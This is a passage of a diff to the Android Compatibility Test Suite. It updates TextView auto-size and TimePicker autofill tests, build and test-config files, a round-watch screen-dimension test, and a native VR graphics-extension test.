+ return new StringBuilder().append(source).append(source).toString();
+ });
+
+ mActivityRule.runOnUiThread(() ->
+ autoSizeTextView.setTransformationMethod(null));
+ mInstrumentation.waitForIdleSync();
+ final float initialTextSize = autoSizeTextView.getTextSize();
+ mActivityRule.runOnUiThread(() ->
+ autoSizeTextView.setTransformationMethod(duplicateTextTransformationMethod));
+ mInstrumentation.waitForIdleSync();
+
+ assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+ }
+
+ @Test
public void testAutoSizeCallers_setCompoundDrawables() throws Throwable {
final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
R.id.textview_autosize_uniform, false);
@@ -6964,11 +7027,53 @@
public void testAutoSizeCallers_setMaxLines() throws Throwable {
final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
R.id.textview_autosize_uniform, false);
- final float initialTextSize = autoSizeTextView.getTextSize();
- mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(1));
+ // Configure layout params and auto-size both in pixels to dodge flakiness on different
+ // devices.
+ final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+ 200, 200);
+ final String text = "one\ntwo\nthree\nfour\nfive\nsix\nseven\neight\nnine\nten";
+ mActivityRule.runOnUiThread(() -> {
+ autoSizeTextView.setLayoutParams(layoutParams);
+ autoSizeTextView.setAutoSizeTextTypeUniformWithConfiguration(
+ 1 /* autoSizeMinTextSize */,
+ 5000 /* autoSizeMaxTextSize */,
+ 1 /* autoSizeStepGranularity */,
+ TypedValue.COMPLEX_UNIT_PX);
+ autoSizeTextView.setText(text);
+ });
mInstrumentation.waitForIdleSync();
- assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+ float initialSize = 0;
+ for (int i = 1; i < 10; i++) {
+ final int maxLines = i;
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+ mInstrumentation.waitForIdleSync();
+ float expectedSmallerSize = autoSizeTextView.getTextSize();
+ if (i == 1) {
+ initialSize = expectedSmallerSize;
+ }
+
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines + 1));
+ mInstrumentation.waitForIdleSync();
+ assertTrue(expectedSmallerSize <= autoSizeTextView.getTextSize());
+ }
+ assertTrue(initialSize < autoSizeTextView.getTextSize());
+
+ initialSize = Integer.MAX_VALUE;
+ for (int i = 10; i > 1; i--) {
+ final int maxLines = i;
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+ mInstrumentation.waitForIdleSync();
+ float expectedLargerSize = autoSizeTextView.getTextSize();
+ if (i == 10) {
+ initialSize = expectedLargerSize;
+ }
+
+ mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines - 1));
+ mInstrumentation.waitForIdleSync();
+ assertTrue(expectedLargerSize >= autoSizeTextView.getTextSize());
+ }
+ assertTrue(initialSize > autoSizeTextView.getTextSize());
}
@Test
@@ -7640,17 +7745,10 @@
private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
assertTrue(text.length() >= SMARTSELECT_END);
- TextClassifier mockClassifier = mock(TextClassifier.class);
- when(mockClassifier.suggestSelection(
- any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
- .thenReturn(new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build());
- when(mockClassifier.classifyText(
- any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
- .thenReturn(new TextClassification.Builder().build());
mActivityRule.runOnUiThread(() -> {
mTextView.setTextIsSelectable(true);
mTextView.setText(text);
- mTextView.setTextClassifier(mockClassifier);
+ mTextView.setTextClassifier(FAKE_TEXT_CLASSIFIER);
mTextView.requestFocus();
});
mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index e66fc70..0886aa3 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.reset;
@@ -39,6 +40,7 @@
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.View;
+import android.view.autofill.AutofillValue;
import android.widget.TimePicker;
import com.android.compatibility.common.util.CtsKeyEventUtil;
@@ -50,7 +52,10 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
+import java.util.Calendar;
import java.util.Collections;
+import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* Test {@link TimePicker}.
@@ -115,9 +120,59 @@
mTimePicker.setEnabled(false);
assertFalse(mTimePicker.isEnabled());
+ assertNull(mTimePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_NONE, mTimePicker.getAutofillType());
mTimePicker.setEnabled(true);
assertTrue(mTimePicker.isEnabled());
+ assertNotNull(mTimePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_DATE, mTimePicker.getAutofillType());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testAutofill() {
+ mTimePicker.setEnabled(true);
+
+ final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+ mTimePicker.setOnTimeChangedListener((v, h, m) -> numberOfListenerCalls.incrementAndGet());
+
+ final Calendar calendar = new GregorianCalendar();
+ calendar.set(Calendar.HOUR_OF_DAY, 4);
+ calendar.set(Calendar.MINUTE, 20);
+
+ final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+ mTimePicker.autofill(autofilledValue);
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(1, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is null.
+ numberOfListenerCalls.set(0);
+ mTimePicker.autofill((AutofillValue) null);
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is not a date.
+ numberOfListenerCalls.set(0);
+ mTimePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+ assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+ assertEquals(4, mTimePicker.getHour());
+ assertEquals(20, mTimePicker.getMinute());
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure getAutofillValue() is reset when value is manually filled.
+ mTimePicker.autofill(autofilledValue); // 04:20
+ mTimePicker.setHour(10);
+ calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+ assertEquals(10, calendar.get(Calendar.HOUR));
+ mTimePicker.autofill(autofilledValue); // 04:20
+ mTimePicker.setMinute(8);
+ calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+ assertEquals(8, calendar.get(Calendar.MINUTE));
}
@UiThreadTest
@@ -498,6 +553,12 @@
prepareForKeyboardInput(initialHour, initialMinute, false /* is24hFormat */,
false /* isClockMode */);
+ // when testing on device with lower resolution, the Spinner mode time picker may not show
+ // completely, which will cause case fail, so in this case remove the clock time picker to
+ // focus on the test of Spinner mode
+ final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+ mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
assertEquals(initialHour, mTimePicker.getHour());
mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
mInstrumentation.waitForIdleSync();
@@ -610,6 +671,12 @@
prepareForKeyboardInput(initialHour, initialMinute, true /* is24hFormat */,
false /* isClockMode */);
+ // when testing on device with lower resolution, the Spinner mode time picker may not show
+ // completely, which will cause case fail, so in this case remove the clock time picker to
+ // focus on the test of Spinner mode
+ final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+ mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
assertEquals(initialHour, mTimePicker.getHour());
mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 81d315f..8f70c2a 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 5d7db34..1ca2369 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS No Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index 2bfb7a5..7299f02 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 9ce56ee..b3468bf 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Debug Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 799030d..e4a8c51 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -21,9 +21,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index ae27182..b7a6a11 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Wrap test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 2ac45a2..4a13909 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsTvProviderTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index dd8d28a..9365cbd 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS TV Provider test cases">
<option name="config-descriptor:metadata" key="component" value="tv" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 0ad32d1..53ae77e 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -27,9 +27,9 @@
LOCAL_PACKAGE_NAME := CtsUiDeviceTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := 16
+LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/ui/AndroidTest.xml b/tests/ui/AndroidTest.xml
index c8fcef3..3f52b4a 100644
--- a/tests/ui/AndroidTest.xml
+++ b/tests/ui/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS UI test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
new file mode 100644
index 0000000..c550f82
--- /dev/null
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.ui.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.DisplayMetrics;
+import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class WatchPercentageScreenDimenTest {
+
+ private Context mContext;
+ private Configuration mConfig;
+ private float mScreenWidth;
+ private DisplayMetrics mDisplayMetrics;
+
+ private boolean isRoundWatch() {
+ return mConfig.isScreenRound() && (mConfig.uiMode & Configuration.UI_MODE_TYPE_WATCH)
+ == Configuration.UI_MODE_TYPE_WATCH;
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mConfig = mContext.getResources().getConfiguration();
+ mDisplayMetrics = mContext.getResources().getDisplayMetrics();
+ mScreenWidth = mDisplayMetrics.widthPixels;
+ }
+
+ @Test
+ public void test_10() {
+ if (!isRoundWatch()) {
+ return; // skip if not round watch
+ }
+
+ float expected = mScreenWidth * 0.1f;
+ float expectedDelta = getMaxErrorRatio() * expected;
+
+ TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+ android.R.attr.listPreferredItemPaddingEnd
+ });
+ Assert.assertEquals("invalid number of attributes", 1, attrs.length());
+
+ for (int i = 0; i < attrs.length(); ++i) {
+ float actual = attrs.getDimension(i, -1);
+ Assert.assertEquals("screen_percentage_10 is not 10% of screen width",
+ expected, actual, expectedDelta + 0.01f);
+ }
+ }
+
+ @Test
+ public void test_15() {
+ if (!isRoundWatch()) {
+ return; // skip if not round watch
+ }
+
+ float expected = mScreenWidth * 0.15f;
+ float expectedDelta = getMaxErrorRatio() * expected;
+
+ TypedArray attrs = mContext.obtainStyledAttributes(new int[] {
+ android.R.attr.dialogPreferredPadding,
+ android.R.attr.listPreferredItemPaddingLeft,
+ android.R.attr.listPreferredItemPaddingRight,
+ android.R.attr.listPreferredItemPaddingStart
+ });
+ Assert.assertEquals("invalid number of attributes", 4, attrs.length());
+
+ for (int i = 0; i < attrs.length(); ++i) {
+ float actual = attrs.getDimension(i, -1);
+ Assert.assertEquals("screen_percentage_15 is not 15% of screen width",
+ expected, actual, expectedDelta + 0.01f);
+ }
+ }
+
+ private float getMaxErrorRatio() {
+ // The size used will be the closest qualifier with width <= device width, so there may be
+ // small rounding errors.
+ float widthDp = mDisplayMetrics.widthPixels / mDisplayMetrics.density;
+ return (widthDp - (float) Math.floor(widthDp)) / widthDp;
+ }
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index d7b91d9..c70cfaf 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -32,7 +32,7 @@
LOCAL_PACKAGE_NAME := CtsVideoTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/vm-tests-tf/AndroidManifest.xml
deleted file mode 100644
index 2a2f40a..0000000
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.core.vm-tests-tf">
- <uses-permission android:name="android.permission.INTERNET" />
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
- android:targetPackage="android.core.vm-tests-tf"
- android:label="cts trade federation vm tests"/>
-
-</manifest>
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index ed28a37..d28ec0f 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsVmTestCases
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index 65f85f7..ea47d2b 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,13 +27,17 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
+
+LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index 17a2a8f..02b2918 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS VR test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="vr" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
new file mode 100644
index 0000000..769b9ef
--- /dev/null
+++ b/tests/vr/jni/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsvrextensions_jni
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_CFLAGS += -Werror -Wall -Wextra -std=c++11
+
+LOCAL_SRC_FILES := VrExtensionsJni.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
+
+LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
new file mode 100644
index 0000000..6f304b8
--- /dev/null
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <jni.h>
+#include <stdlib.h>
+#include <android/hardware_buffer.h>
+#include <android/log.h>
+#include <string>
+
+#define LOG_TAG "VrExtensionsJni"
+#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE,LOG_TAG,__VA_ARGS__)
+
+using PFNEGLGETNATIVECLIENTBUFFERANDROID =
+ EGLClientBuffer(EGLAPIENTRYP)(const AHardwareBuffer* buffer);
+
+using PFNGLEGLIMAGETARGETTEXTURE2DOESPROC = void(GL_APIENTRYP)(GLenum target,
+ void* image);
+
+using PFNGLBUFFERSTORAGEEXTERNALEXTPROC =
+ void(GL_APIENTRYP)(GLenum target, GLintptr offset, GLsizeiptr size,
+ void* clientBuffer, GLbitfield flags);
+
+using PFNGLMAPBUFFERRANGEPROC = void*(GL_APIENTRYP)(GLenum target,
+ GLintptr offset,
+ GLsizeiptr length,
+ GLbitfield access);
+
+using PFNGLUNMAPBUFFERPROC = void*(GL_APIENTRYP)(GLenum target);
+
+PFNGLEGLIMAGETARGETTEXTURE2DOESPROC glEGLImageTargetTexture2DOES;
+PFNEGLGETNATIVECLIENTBUFFERANDROID eglGetNativeClientBufferANDROID;
+PFNEGLCREATEIMAGEKHRPROC eglCreateImageKHR;
+PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC glFramebufferTextureMultiviewOVR;
+PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC
+ glFramebufferTextureMultisampleMultiviewOVR;
+PFNGLBUFFERSTORAGEEXTERNALEXTPROC glBufferStorageExternalEXT;
+PFNGLMAPBUFFERRANGEPROC glMapBufferRange;
+PFNGLUNMAPBUFFERPROC glUnmapBuffer;
+
+#define NO_ERROR 0
+#define GL_UNIFORM_BUFFER 0x8A11
+
+// Declare flags that are added to MapBufferRange via EXT_buffer_storage.
+// https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_buffer_storage.txt
+#define GL_MAP_PERSISTENT_BIT_EXT 0x0040
+#define GL_MAP_COHERENT_BIT_EXT 0x0080
+
+#define LOAD_PROC(NAME, TYPE) \
+ NAME = reinterpret_cast<TYPE>(eglGetProcAddress(# NAME))
+
+#define ASSERT(condition, format, args...) \
+ if (!(condition)) { \
+ fail(env, format, ## args); \
+ return; \
+ }
+
+#define ASSERT_TRUE(a) \
+ ASSERT((a), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_FALSE(a) \
+ ASSERT(!(a), "assert failed on (!" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_EQ(a, b) \
+ ASSERT((a) == (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_NE(a, b) \
+ ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+#define ASSERT_GT(a, b) \
+ ASSERT((a) > (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
+
+void fail(JNIEnv* env, const char* format, ...) {
+ va_list args;
+ va_start(args, format);
+ char* msg;
+ vasprintf(&msg, format, args);
+ va_end(args);
+ jclass exClass;
+ const char* className = "java/lang/AssertionError";
+ exClass = env->FindClass(className);
+ env->ThrowNew(exClass, msg);
+ free(msg);
+}
+
+static void testEglImageArray(JNIEnv* env, AHardwareBuffer_Desc desc,
+ int nsamples) {
+ ASSERT_GT(desc.layers, 1);
+ AHardwareBuffer* hwbuffer = nullptr;
+ int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+ ASSERT_FALSE(error);
+ // Create EGLClientBuffer from the AHardwareBuffer.
+ EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+ ASSERT_TRUE(native_buffer);
+ // Create EGLImage from EGLClientBuffer.
+ EGLint attrs[] = {EGL_NONE};
+ EGLImageKHR image =
+ eglCreateImageKHR(eglGetCurrentDisplay(), EGL_NO_CONTEXT,
+ EGL_NATIVE_BUFFER_ANDROID, native_buffer, attrs);
+ ASSERT_TRUE(image);
+ // Create OpenGL texture from the EGLImage.
+ GLuint texid;
+ glGenTextures(1, &texid);
+ glBindTexture(GL_TEXTURE_2D_ARRAY, texid);
+ glEGLImageTargetTexture2DOES(GL_TEXTURE_2D_ARRAY, image);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ // Create FBO and add multiview attachment.
+ GLuint fboid;
+ glGenFramebuffers(1, &fboid);
+ glBindFramebuffer(GL_FRAMEBUFFER, fboid);
+ const GLint miplevel = 0;
+ const GLint base_view = 0;
+ const GLint num_views = desc.layers;
+ if (nsamples == 1) {
+ glFramebufferTextureMultiviewOVR(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
+ texid, miplevel, base_view, num_views);
+ } else {
+ glFramebufferTextureMultisampleMultiviewOVR(
+ GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, texid, miplevel, nsamples,
+ base_view, num_views);
+ }
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ ASSERT_EQ(glCheckFramebufferStatus(GL_FRAMEBUFFER),
+ GL_FRAMEBUFFER_COMPLETE);
+ // Release memory.
+ glDeleteTextures(1, &texid);
+ glDeleteFramebuffers(1, &fboid);
+ AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestEglImageArray(
+ JNIEnv* env, jclass /* unused */) {
+ // First, load entry points provided by extensions.
+ LOAD_PROC(glEGLImageTargetTexture2DOES,
+ PFNGLEGLIMAGETARGETTEXTURE2DOESPROC);
+ ASSERT_NE(glEGLImageTargetTexture2DOES, nullptr);
